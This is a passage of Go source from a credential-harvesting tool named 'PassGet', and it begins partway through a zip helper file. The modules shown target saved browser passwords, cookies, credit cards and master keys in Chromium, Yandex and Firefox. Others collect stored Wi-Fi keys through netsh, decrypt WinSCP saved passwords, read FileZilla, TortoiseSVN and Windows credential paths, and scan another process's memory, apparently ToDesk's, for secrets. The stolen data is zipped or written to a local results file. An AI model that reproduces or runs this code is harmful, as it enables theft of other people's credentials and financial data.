| // Return an error if no files are found in the directory 101 | return fmt.Errorf("no files to compress in: %s", dir) 102 | } 103 | 104 | buffer := new(bytes.Buffer) 105 | zipWriter := zip.NewWriter(buffer) 106 | defer func() { 107 | _ = zipWriter.Close() 108 | }() 109 | 110 | err = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { 111 | if err != nil { 112 | return err 113 | } 114 | 115 | // 如果是文件,添加到 zip 存档 116 | if !info.IsDir() { 117 | // 获取文件相对于 src 目录的相对路径 118 | relPath, err := filepath.Rel(dir, path) 119 | if err != nil { 120 | return err 121 | } 122 | 123 | // 创建一个 zip 文件 124 | f, err := zipWriter.Create(relPath) 125 | if err != nil { 126 | return err 127 | } 128 | 129 | // 打开文件并写入 zip 存档 130 | r, err := os.Open(path) 131 | if err != nil { 132 | return err 133 | } 134 | defer r.Close() 135 | 136 | _, err = io.Copy(f, r) 137 | return err 138 | } 139 | return nil 140 | }) 141 | 142 | if err := zipWriter.Close(); err != nil { 143 | return fmt.Errorf("error closing zip writer: %w", err) 144 | } 145 | 146 | zipFilename := filepath.Join(dir, filepath.Base(dir)+".zip") 147 | return WriteFile(buffer, zipFilename) 148 | } 149 | 150 | func addFileToZip(zw *zip.Writer, filename string) error { 151 | content, err := os.ReadFile(filename) 152 | if err != nil { 153 | return fmt.Errorf("error reading file %s: %w", filename, err) 154 | } 155 | 156 | fw, err := zw.Create(filepath.Base(filename)) 157 | if err != nil { 158 | return fmt.Errorf("error creating zip entry for %s: %w", filename, err) 159 | } 160 | 161 | if _, err = fw.Write(content); err != nil { 162 | return fmt.Errorf("error writing content to zip for %s: %w", filename, err) 163 | } 164 | 165 | if err = os.Remove(filename); err != nil { 166 | return fmt.Errorf("error removing original file %s: %w", filename, err) 167 | } 168 | 169 | return nil 170 | } 171 | 172 | func WriteFile(buffer *bytes.Buffer, filename string) error { 173 | outFile, err := os.Create(filename) 174 | if err != nil { 175 | return fmt.Errorf("error creating output file %s: %w", filename, err) 176 | } 177 | defer func() { 178 | _ = outFile.Close() 179 | }() 180 | 181 | if _, err = buffer.WriteTo(outFile); err != nil { 182 | return fmt.Errorf("error writing data to file %s: %w", filename, err) 183 | } 184 | 185 | return nil 186 | } 187 | -------------------------------------------------------------------------------- /modules/utils/browser/types/types.go: -------------------------------------------------------------------------------- 1 | package types 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "path/filepath" 7 | ) 8 | 9 | type DataType int 10 | 11 | const ( 12 | ChromiumKey DataType = iota 13 | ChromiumPassword 14 | ChromiumCookie 15 | ChromiumBookmark 16 | ChromiumHistory 17 | ChromiumDownload 18 | ChromiumCreditCard 19 | ChromiumLocalStorage 20 | ChromiumSessionStorage 21 | ChromiumExtension 22 | 23 | YandexPassword 24 | YandexCreditCard 25 | 26 | FirefoxKey4 27 | FirefoxPassword 28 | FirefoxCookie 29 | FirefoxBookmark 30 | FirefoxHistory 31 | FirefoxDownload 32 | FirefoxCreditCard 33 | FirefoxLocalStorage 34 | FirefoxSessionStorage 35 | FirefoxExtension 36 | ) 37 | 38 | var itemFileNames = map[DataType]string{ 39 | ChromiumKey: fileChromiumKey, 40 | ChromiumPassword: fileChromiumPassword, 41 | ChromiumCookie: fileChromiumCookie, 42 | ChromiumBookmark: fileChromiumBookmark, 43 | ChromiumDownload: fileChromiumDownload, 44 | ChromiumLocalStorage: fileChromiumLocalStorage, 45 | ChromiumSessionStorage: fileChromiumSessionStorage, 46 | ChromiumCreditCard: fileChromiumCredit, 47 | ChromiumExtension: fileChromiumExtension, 48 | ChromiumHistory: fileChromiumHistory, 49 | YandexPassword: fileYandexPassword, 50 | YandexCreditCard: fileYandexCredit, 51 | FirefoxKey4: fileFirefoxKey4, 52 | FirefoxPassword: fileFirefoxPassword, 53 | FirefoxCookie: fileFirefoxCookie, 54 | FirefoxBookmark: fileFirefoxData, 55 | FirefoxDownload: fileFirefoxData, 56 | FirefoxLocalStorage: fileFirefoxLocalStorage, 57 | FirefoxHistory: fileFirefoxData, 58 | FirefoxExtension: fileFirefoxExtension, 59 | FirefoxSessionStorage: UnsupportedItem, 60 | FirefoxCreditCard: UnsupportedItem, 61 | } 62 | 63 | func (i DataType) String() string { 64 | switch i { 65 | case ChromiumKey: 66 | return "ChromiumKey" 67 | case ChromiumPassword: 68 | return "ChromiumPassword" 69 | case ChromiumCookie: 70 | return "ChromiumCookie" 71 | case ChromiumBookmark: 72 | return "ChromiumBookmark" 73 | case ChromiumHistory: 74 | return "ChromiumHistory" 75 | case ChromiumDownload: 76 | return "ChromiumDownload" 77 | case ChromiumCreditCard: 78 | return "ChromiumCreditCard" 79 | case ChromiumLocalStorage: 80 | return "ChromiumLocalStorage" 81 | case ChromiumSessionStorage: 82 | return "ChromiumSessionStorage" 83 | case ChromiumExtension: 84 | return "ChromiumExtension" 85 | case YandexPassword: 86 | return "YandexPassword" 87 | case YandexCreditCard: 88 | return "YandexCreditCard" 89 | case FirefoxKey4: 90 | return "FirefoxKey4" 91 | case FirefoxPassword: 92 | return "FirefoxPassword" 93 | case FirefoxCookie: 94 | return "FirefoxCookie" 95 | case FirefoxBookmark: 96 | return "FirefoxBookmark" 97 | case FirefoxHistory: 98 | return "FirefoxHistory" 99 | case FirefoxDownload: 100 | return "FirefoxDownload" 101 | case FirefoxCreditCard: 102 | return "FirefoxCreditCard" 103 | case FirefoxLocalStorage: 104 | return "FirefoxLocalStorage" 105 | case FirefoxSessionStorage: 106 | return "FirefoxSessionStorage" 107 | case FirefoxExtension: 108 | return "FirefoxExtension" 109 | default: 110 | return "UnsupportedItem" 111 | } 112 | } 113 | 114 | // Filename returns the filename for the item, defined by browser 115 | // chromium local storage is a folder, so it returns the file name of the folder 116 | func (i DataType) Filename() string { 117 | if fileName, ok := itemFileNames[i]; ok { 118 | return fileName 119 | } 120 | return UnsupportedItem 121 | } 122 | 123 | // TempFilename returns the temp filename for the item with suffix 124 | // eg: chromiumKey_0.temp 125 | func (i DataType) TempFilename() string { 126 | const tempSuffix = "temp" 127 | tempFile := fmt.Sprintf("%s_%d.%s", i.Filename(), i, tempSuffix) 128 | return filepath.Join(os.TempDir(), tempFile) 129 | } 130 | 131 | // IsSensitive returns whether the item is sensitive data 132 | // password, cookie, credit card, master key is unlimited 133 | func (i DataType) IsSensitive() bool { 134 | switch i { 135 | case ChromiumKey, ChromiumCookie, ChromiumPassword, ChromiumCreditCard, 136 | FirefoxKey4, FirefoxPassword, FirefoxCookie, FirefoxCreditCard, 137 | YandexPassword, YandexCreditCard: 138 | return true 139 | default: 140 | return false 141 | } 142 | } 143 | 144 | // FilterSensitiveItems returns the sensitive items 145 | func FilterSensitiveItems(items []DataType) []DataType { 146 | var filtered []DataType 147 | for _, item := range items { 148 | if item.IsSensitive() { 149 | filtered = append(filtered, item) 150 | } 151 | } 152 | return filtered 153 | } 154 | 155 | // DefaultFirefoxTypes returns the default items for the firefox browser 156 | var DefaultFirefoxTypes = []DataType{ 157 | FirefoxKey4, 158 | FirefoxPassword, 159 | FirefoxCookie, 160 | FirefoxBookmark, 161 | FirefoxHistory, 162 | FirefoxDownload, 163 | FirefoxCreditCard, 164 | FirefoxLocalStorage, 165 | FirefoxSessionStorage, 166 | FirefoxExtension, 167 | } 168 | 169 | // DefaultYandexTypes returns the default items for the yandex browser 170 | var DefaultYandexTypes = []DataType{ 171 | ChromiumKey, 172 | ChromiumCookie, 173 | ChromiumBookmark, 174 | ChromiumHistory, 175 | ChromiumDownload, 176 | ChromiumExtension, 177 | YandexPassword, 178 | ChromiumLocalStorage, 179 | ChromiumSessionStorage, 180 | YandexCreditCard, 181 | } 182 | 183 | // DefaultChromiumTypes returns the default items for the chromium browser 184 | var DefaultChromiumTypes = []DataType{ 185 | ChromiumKey, 186 | ChromiumPassword, 187 | ChromiumCookie, 188 | ChromiumBookmark, 189 | ChromiumHistory, 190 | ChromiumDownload, 191 | ChromiumCreditCard, 192 | ChromiumLocalStorage, 193 | ChromiumSessionStorage, 194 | ChromiumExtension, 195 | } 196 | 197 | // item's default filename 198 | const ( 199 | fileChromiumKey = "Local State" 200 | fileChromiumCredit = "Web Data" 201 | fileChromiumPassword = "Login Data" 202 | fileChromiumHistory = "History" 203 | fileChromiumDownload = "History" 204 | fileChromiumCookie = "Cookies" 205 | fileChromiumBookmark = "Bookmarks" 206 | fileChromiumLocalStorage = "Local Storage/leveldb" 207 | fileChromiumSessionStorage = "Session Storage" 208 | fileChromiumExtension = "Secure Preferences" // TODO: add more extension files and folders, eg: Preferences 209 | 210 | fileYandexPassword = "Ya Passman Data" 211 | fileYandexCredit = "Ya Credit Cards" 212 | 213 | fileFirefoxKey4 = "key4.db" 214 | fileFirefoxCookie = "cookies.sqlite" 215 | fileFirefoxPassword = "logins.json" 216 | fileFirefoxData = "places.sqlite" 217 | fileFirefoxLocalStorage = "webappsstore.sqlite" 218 | fileFirefoxExtension = "extensions.json" 219 | 220 | UnsupportedItem = "unsupported item" 221 | ) 222 | -------------------------------------------------------------------------------- /modules/utils/browser/typeutil/typeutil.go: -------------------------------------------------------------------------------- 1 | package typeutil 2 | 3 | import ( 4 | "time" 5 | ) 6 | 7 | // Keys returns a slice of the keys of the map. based with go 1.18 generics 8 | func Keys[K comparable, V any](m map[K]V) []K { 9 | r := make([]K, 0, len(m)) 10 | for k := range m { 11 | r = append(r, k) 12 | } 13 | return r 14 | } 15 | 16 | // Signed is a constraint that permits any signed integer type. 17 | // If future releases of Go add new predeclared signed integer types, 18 | // this constraint will be modified to include them. 19 | type Signed interface { 20 | ~int | ~int8 | ~int16 | ~int32 | ~int64 21 | } 22 | 23 | func IntToBool[T Signed](a T) bool { 24 | switch a { 25 | case 0, -1: 26 | return false 27 | } 28 | return true 29 | } 30 | 31 | func Reverse[T any](s []T) []T { 32 | h := make([]T, len(s)) 33 | for i := 0; i < len(s); i++ { 34 | h[i] = s[len(s)-i-1] 35 | } 36 | return h 37 | } 38 | 39 | func TimeStamp(stamp int64) time.Time { 40 | s := time.Unix(stamp, 0) 41 | if s.Local().Year() > 9999 { 42 | return time.Date(9999, 12, 13, 23, 59, 59, 0, time.Local) 43 | } 44 | return s 45 | } 46 | 47 | func TimeEpoch(epoch int64) time.Time { 48 | maxTime := int64(99633311740000000) 49 | if epoch > maxTime { 50 | return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local) 51 | } 52 | t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.Local) 53 | d := time.Duration(epoch) 54 | for i := 0; i < 1000; i++ { 55 | t = t.Add(d) 56 | } 57 | return t 58 | } 59 | -------------------------------------------------------------------------------- /modules/utils/modules.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "os/user" 5 | "time" 6 | ) 7 | 8 | var ( 9 | HomeDir = GetHomeDir() 10 | WindowsStartMenu = HomeDir + `\AppData\Roaming\Microsoft\Windows\Start Menu\Programs` 11 | WindowsStartMenu2 = `C:\ProgramData\Microsoft\Windows\Start Menu\Programs` 12 | WindowsDeskTop = HomeDir + `\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` 13 | WindowsDirs = []string{WindowsStartMenu, WindowsStartMenu2, WindowsDeskTop} 14 | WindowsCredentials = HomeDir + `\AppData\Local\Microsoft\Credentials` 15 | FileZillaProfilesDir = HomeDir + `\AppData\Roaming\FileZilla\` 16 | FileZillaProfile1 = `\recentservers.xml` 17 | FileZillaProfile2 = `\sitemanager.xml` 18 | WinSCPProfilePath = HomeDir + `\AppData\Roaming\` 19 | WinSCPProfile = `\WinSCP.ini` 20 | TortoiseSVNProfilePath = HomeDir + `\AppData\Roaming\Subversion\auth\svn.simple` 21 | ) 22 | 23 | const ( 24 | PROCESS_VM_READ = 0x0010 25 | PROCESS_QUERY_INFORMATION = 0x0400 26 | ) 27 | 28 | type Proc struct { 29 | PID int32 30 | Path string 31 | Name string 32 | } 33 | 34 | func GetHomeDir() string { 35 | user, err := user.Current() 36 | if err != nil { 37 | panic(err) 38 | } 39 | return user.HomeDir 40 | } 41 | func GetCurrentDateString(format string) string { 42 | return time.Now().Format(format) 43 | } 44 | -------------------------------------------------------------------------------- /modules/utils/remote/remote.go: -------------------------------------------------------------------------------- 1 | package remote 2 | 3 | import ( 4 | "PassGet/modules/utils" 5 | "github.com/shirou/gopsutil/v3/process" 6 | "golang.org/x/sys/windows" 7 | "path/filepath" 8 | "strconv" 9 | "strings" 10 | "unsafe" 11 | ) 12 | 13 | func OpenProcess(pid int32) (windows.Handle, error) { 14 | handle, err := windows.OpenProcess(utils.PROCESS_VM_READ|utils.PROCESS_QUERY_INFORMATION, false, uint32(pid)) 15 | if err != nil { 16 | // return 0, fmt.Errorf("failed to open process: %v", err) 17 | } 18 | return handle, nil 19 | } 20 | func ReadMemory(handle windows.Handle, address uintptr, size uint32) ([]byte, error) { 21 | buffer := make([]byte, size) 22 | var bytesRead uintptr 23 | err := windows.ReadProcessMemory(handle, address, &buffer[0], uintptr(size), &bytesRead) 24 | if err != nil { 25 | // return nil, fmt.Errorf("failed to read memory: %v", err) 26 | } 27 | return buffer, nil 28 | } 29 | func SearchMemory(handle windows.Handle, pattern []byte, todesk bool) ([]uintptr, []byte, error) { 30 | var results []uintptr 31 | var memoryInfo windows.MemoryBasicInformation 32 | var datas []byte 33 | if todesk { 34 | datas = make([]byte, 0) 35 | } 36 | address := uintptr(0) 37 | for { 38 | err := windows.VirtualQueryEx(handle, address, &memoryInfo, unsafe.Sizeof(memoryInfo)) 39 | if err != nil || memoryInfo.RegionSize == 0 { 40 | break 41 | } 42 | 43 | if memoryInfo.State == windows.MEM_COMMIT && (memoryInfo.Protect&windows.PAGE_READWRITE) != 0 { 44 | data, err := ReadMemory(handle, memoryInfo.BaseAddress, uint32(memoryInfo.RegionSize)) 45 | if err == nil { 46 | if todesk { 47 | datas = append(datas, data...) 48 | } 49 | for i := 0; i < len(data)-len(pattern); i++ { 50 | if MatchPattern(data[i:i+len(pattern)], pattern) { 51 | results = append(results, memoryInfo.BaseAddress+uintptr(i)) 52 | } 53 | } 54 | } 55 | } 56 | address = memoryInfo.BaseAddress + uintptr(memoryInfo.RegionSize) 57 | } 58 | if todesk { 59 | return results, datas, nil 60 | } 61 | return results, nil, nil 62 | } 63 | func MatchPattern(data, pattern []byte) bool { 64 | for i := range pattern { 65 | if data[i] != pattern[i] { 66 | return false 67 | } 68 | } 69 | return true 70 | } 71 | func ExtractBetween(value, startDelim, endDelim string) string { 72 | start := strings.Index(value, startDelim) 73 | if start == -1 { 74 | return "" 75 | } 76 | start += len(startDelim) 77 | 78 | end := strings.Index(value[start:], endDelim) 79 | if end == -1 { 80 | return "" 81 | } 82 | 83 | return value[start : start+end] 84 | } 85 | func IsNumeric(s string) bool { 86 | _, err := strconv.Atoi(strings.TrimSpace(s)) 87 | return err == nil 88 | } 89 | func GetProcessList(name string) []utils.Proc { 90 | processes, err := process.Processes() 91 | if err != nil { 92 | return nil 93 | } 94 | Procs := make([]utils.Proc, 0) 95 | for _, proc := range processes { 96 | procName, err := proc.Name() 97 | if err != nil { 98 | continue 99 | } 100 | 101 | // 如果进程名称匹配 102 | if strings.EqualFold(procName, name) { 103 | // 获取进程的可执行文件路径 104 | path, err := proc.Exe() 105 | if err != nil { 106 | continue 107 | } 108 | // 将 PID 和路径添加到结果中 109 | Procs = append(Procs, utils.Proc{PID: proc.Pid, Path: filepath.Dir(path), Name: procName}) 110 | } 111 | } 112 | 113 | // 如果没有找到任何匹配的进程,返回 nil 114 | if len(Procs) == 0 { 115 | return nil 116 | } 117 | 118 | return Procs 119 | } 120 | -------------------------------------------------------------------------------- /modules/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/user" 7 | "path/filepath" 8 | ) 9 | 10 | func CheckIsInSlice(Items []string, Item string) bool { 11 | for _, item := range Items { 12 | if item == Item { 13 | return true 14 | } 15 | } 16 | return false 17 | } 18 | func GetSliceLastOne(Items []string) (Item string) { 19 | return Items[len(Items)-1] 20 | } 21 | func ListFilesAndDirs(directory string) ([]string, []string, error) { 22 | var files []string 23 | var dirs []string 24 | 25 | // 使用 filepath.Walk 遍历目录 26 | err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error { 27 | if err != nil { 28 | return err 29 | } 30 | 31 | // 忽略根目录本身 32 | if path == directory { 33 | return nil 34 | } 35 | 36 | // 判断是文件还是文件夹 37 | if info.IsDir() { 38 | dirs = append(dirs, path) // 如果是目录,添加到 dirs 列表 39 | } else { 40 | files = append(files, path) // 如果是文件,添加到 files 列表 41 | } 42 | return nil 43 | }) 44 | 45 | if err != nil { 46 | return nil, nil, err 47 | } 48 | 49 | return files, dirs, nil 50 | } 51 | func CheckIsAdmin() bool { 52 | _, err := user.Current() 53 | return err == nil 54 | } 55 | func OutPutToFile(content string, dir string) error { 56 | _, err := os.Stat(dir) 57 | if os.IsNotExist(err) { 58 | // 目录不存在,创建目录 59 | err = os.MkdirAll(dir, 0755) 60 | if err != nil { 61 | return err 62 | } 63 | } 64 | file, err := os.OpenFile(fmt.Sprintf("%s/results.txt", dir), os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 65 | if err != nil { 66 | return err 67 | } 68 | defer file.Close() 69 | 70 | // 写入内容 71 | _, err = file.WriteString(content) 72 | if err != nil { 73 | return err 74 | } 75 | return nil 76 | } 77 | -------------------------------------------------------------------------------- /modules/wifi/wifi.go: -------------------------------------------------------------------------------- 1 | package wifi 2 | 3 | import ( 4 | "fmt" 5 | "os/exec" 6 | "strings" 7 | ) 8 | 9 | type Wifi struct { 10 | SSID string 11 | Password string 12 | } 13 | 14 | // getWifiPasswords 获取已连接过的 Wi-Fi 网络名称及其密码 15 | func getWifiPasswords() ([]Wifi, error) { 16 | cmd := exec.Command("netsh", "wlan", "show", "profiles") 17 | output, err := cmd.CombinedOutput() 18 | if err != nil { 19 | return nil, fmt.Errorf("failed to run netsh command: %v", err) 20 | } 21 | profiles := make([]Wifi, 0) 22 | for _, line := range strings.Split(string(output), "\n") { 23 | if strings.Contains(line, "User Profile") { 24 | data := Wifi{ 25 | SSID: strings.TrimSpace(strings.Split(line, ":")[1]), 26 | } 27 | password, err := getWifiPassword(data.SSID) 28 | if err != nil { 29 | continue 30 | } 31 | data.Password = password 32 | profiles = append(profiles, data) 33 | } 34 | } 35 | return profiles, nil 36 | } 37 | 38 | // getWifiPassword 获取指定网络的密码 39 | func getWifiPassword(profileName string) (string, error) { 40 | // 执行 netsh wlan show profile "profileName" key=clear 命令来查看密码 41 | cmd := exec.Command("netsh", "wlan", "show", "profile", profileName, "key=clear") 42 | output, err := cmd.CombinedOutput() 43 | if err != nil { 44 | return "", fmt.Errorf("failed to run netsh command for profile %s: %v", profileName, err) 45 | } 46 | 47 | // 解析输出,查找密码字段 48 | lines := strings.Split(string(output), "\n") 49 | for _, line := range lines { 50 | if strings.Contains(line, "Key Content") { 51 | // 提取密码 52 | password := strings.TrimSpace(strings.Split(line, ":")[1]) 53 | return password, nil 54 | } 55 | } 56 | return "", fmt.Errorf("password not found for profile %s", profileName) 57 | } 58 | 59 | func Get() []Wifi { 60 | // 获取连接过的 Wi-Fi 网络及其密码 61 | profiles, err := getWifiPasswords() 62 | if err != nil { 63 | fmt.Println(err) 64 | return nil 65 | } 66 | return profiles 67 | } 68 | -------------------------------------------------------------------------------- /modules/winscp/winscp.go: -------------------------------------------------------------------------------- 1 | package winscp 2 | 3 | import ( 4 | "PassGet/modules/utils" 5 | "fmt" 6 | "github.com/go-ini/ini" 7 | "golang.org/x/sys/windows/registry" 8 | "io/ioutil" 9 | "log" 10 | "regexp" 11 | "strings" 12 | ) 13 | 14 | type ServerDetail struct { 15 | Name string 16 | HostName string 17 | PortNumber string 18 | UserName string 19 | Password string 20 | PasswordPlain string 21 | } 22 | 23 | const PW_MAGIC = 0xA3 24 | const PW_FLAG = 0xFF 25 | 26 | type Flags struct { 27 | flag rune 28 | remainingPass string 29 | } 30 | 31 | func (S *ServerDetail) DecryptNextCharacterWinSCP(Password string) Flags { 32 | var Flag Flags 33 | bases := "0123456789ABCDEF" 34 | 35 | // Find the first and second character values 36 | firstval := strings.Index(bases, string(Password[0])) * 16 37 | secondval := strings.Index(bases, string(Password[1])) 38 | added := firstval + secondval 39 | Flag.flag = rune(((^(added ^ PW_MAGIC) % 256) + 256) % 256) // decrypt the character 40 | Flag.remainingPass = Password[2:] // Remaining password 41 | return Flag 42 | } 43 | func Get(Path string) []ServerDetail { 44 | return GetSavedData(Path) 45 | } 46 | func GetSavedData(Path string) []ServerDetail { 47 | k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) 48 | defer k.Close() 49 | if err != nil { 50 | fmt.Println("Can Not Found Data From Registry.") 51 | ServerDetails := GetSaveDataFromFile(Path) 52 | if ServerDetails != nil { 53 | return ServerDetails 54 | } 55 | fmt.Println("Can Not Found Data From File.") 56 | return nil 57 | } 58 | Sessions, err := k.ReadSubKeyNames(0) 59 | if err == nil && len(Sessions) > 1 { 60 | ServerDetails := make([]ServerDetail, 0) 61 | for _, Session := range Sessions { 62 | if strings.Contains(Session, "Default") { 63 | continue 64 | } 65 | Server := ServerDetail{ 66 | Name: Session, 67 | } 68 | S, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+Session, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) 69 | defer k.Close() 70 | if err != nil { 71 | continue 72 | } 73 | Server.HostName, _, _ = S.GetStringValue(`HostName`) 74 | Server.PortNumber, _, _ = S.GetStringValue(`PortNumber`) 75 | Server.UserName, _, _ = S.GetStringValue(`UserName`) 76 | Server.Password, _, _ = S.GetStringValue(`Password`) 77 | Server.Decrypt() 78 | ServerDetails = append(ServerDetails, Server) 79 | } 80 | return ServerDetails 81 | } else { 82 | fmt.Println("Can Not Found Data From Registry.") 83 | return nil 84 | } 85 | } 86 | func GetSaveDataFromFile(Path string) []ServerDetail { 87 | if Path == "" { 88 | Path = utils.WinSCPProfilePath 89 | } 90 | file, _, err := utils.ListFilesAndDirs(Path) 91 | if err != nil { 92 | fmt.Println(err) 93 | return nil 94 | } 95 | if utils.CheckIsInSlice(file, utils.WinSCPProfile) { 96 | fmt.Println("No Data File.") 97 | return nil 98 | } 99 | Sections := getSection(Path) 100 | if len(Sections) == 0 { 101 | fmt.Println("No Data File.") 102 | return nil 103 | } 104 | cfg, err := ini.Load(Path + utils.WinSCPProfile) 105 | if err != nil { 106 | log.Printf("Fail to read file: %v", err) 107 | return nil 108 | } 109 | ServerDetails := make([]ServerDetail, 0) 110 | for _, v := range Sections { 111 | Server := ServerDetail{ 112 | Name: strings.Split(v, `\`)[1], 113 | } 114 | Server.HostName = cfg.Section(v).Key("HostName").String() 115 | Server.PortNumber = cfg.Section(v).Key("PortNumber").String() 116 | Server.UserName = cfg.Section(v).Key("UserName").String() 117 | Server.Password = cfg.Section(v).Key("Password").String() 118 | Server.Decrypt() 119 | ServerDetails = append(ServerDetails, Server) 120 | } 121 | return ServerDetails 122 | } 123 | func getSection(Path string) []string { 124 | data, err := ioutil.ReadFile(Path + utils.WinSCPProfile) // 假设配置文件为 config.ini 125 | if err != nil { 126 | log.Fatalf("Error reading file: %v", err) 127 | } 128 | 129 | // 正则表达式匹配所有 [Session.*] 部分 130 | re := regexp.MustCompile(`\[Session.*?\]`) 131 | 132 | // 查找所有匹配的部分 133 | matches := re.FindAllString(string(data), -1) 134 | final_datas := make([]string, 0) 135 | // 输出匹配结果 136 | for _, match := range matches { 137 | final_datas = append(final_datas, match[1:len(match)-1]) 138 | } 139 | return final_datas 140 | } 141 | func (S *ServerDetail) Decrypt() { 142 | if S.Password == "" { 143 | S.PasswordPlain = "" 144 | return 145 | } 146 | var length rune 147 | var clearpwd string 148 | unicodeKey := S.UserName + S.HostName 149 | Flag := S.DecryptNextCharacterWinSCP(S.Password) 150 | storedFlag := Flag.flag 151 | 152 | if storedFlag == PW_FLAG { 153 | Flag = S.DecryptNextCharacterWinSCP(Flag.remainingPass) 154 | Flag = S.DecryptNextCharacterWinSCP(Flag.remainingPass) 155 | length = Flag.flag 156 | } else { 157 | length = Flag.flag 158 | } 159 | 160 | Flag = S.DecryptNextCharacterWinSCP(Flag.remainingPass) 161 | Flag.remainingPass = Flag.remainingPass[Flag.flag*2:] 162 | 163 | // Loop to get the password 164 | for i := 0; i < int(length); i++ { 165 | Flag = S.DecryptNextCharacterWinSCP(Flag.remainingPass) 166 | clearpwd += string(Flag.flag) 167 | } 168 | 169 | // If the storedFlag is PW_FLAG, check for the unicodeKey in the clear password 170 | if storedFlag == PW_FLAG { 171 | if strings.HasPrefix(clearpwd, unicodeKey) { 172 | clearpwd = clearpwd[len(unicodeKey):] // Remove unicodeKey prefix 173 | } else { 174 | clearpwd = "" // Invalid password 175 | } 176 | } 177 | S.PasswordPlain = clearpwd 178 | } 179 | --------------------------------------------------------------------------------